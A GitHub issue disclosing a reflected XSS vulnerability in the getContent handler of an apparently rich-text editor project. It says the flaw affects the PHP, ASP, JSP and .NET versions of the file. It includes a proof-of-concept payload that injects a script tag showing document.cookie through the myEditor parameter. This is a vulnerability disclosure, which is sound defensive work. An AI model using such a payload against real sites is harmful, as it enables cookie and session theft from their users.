New issue

Jump to bottom

I found a reflective XSS vulnerability in /php/getContent.php #624

Open yundiao opened this issue on Mar 4, 2019 · 0 comments

yundiao commented on Mar 4, 2019 • edited

Testing environment: localhost
Windows + firefox + phpStorm + apache2 + php5.4.45

I. Vulnerability analysis
/php/getContent.php
image

II. Exploit
image
url:
http://127.0.0.1/php/getcontent.php
payload:
myEditor=<script>alert(document.cookie)</script>
// "E" in the word myEditor must be capitalized.

The same vulnerability exists in all language versions of getContent files.
/asp/getContent.asp
image

/jsp/getContent.jsp
image

/net/getContent.ashx
image

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant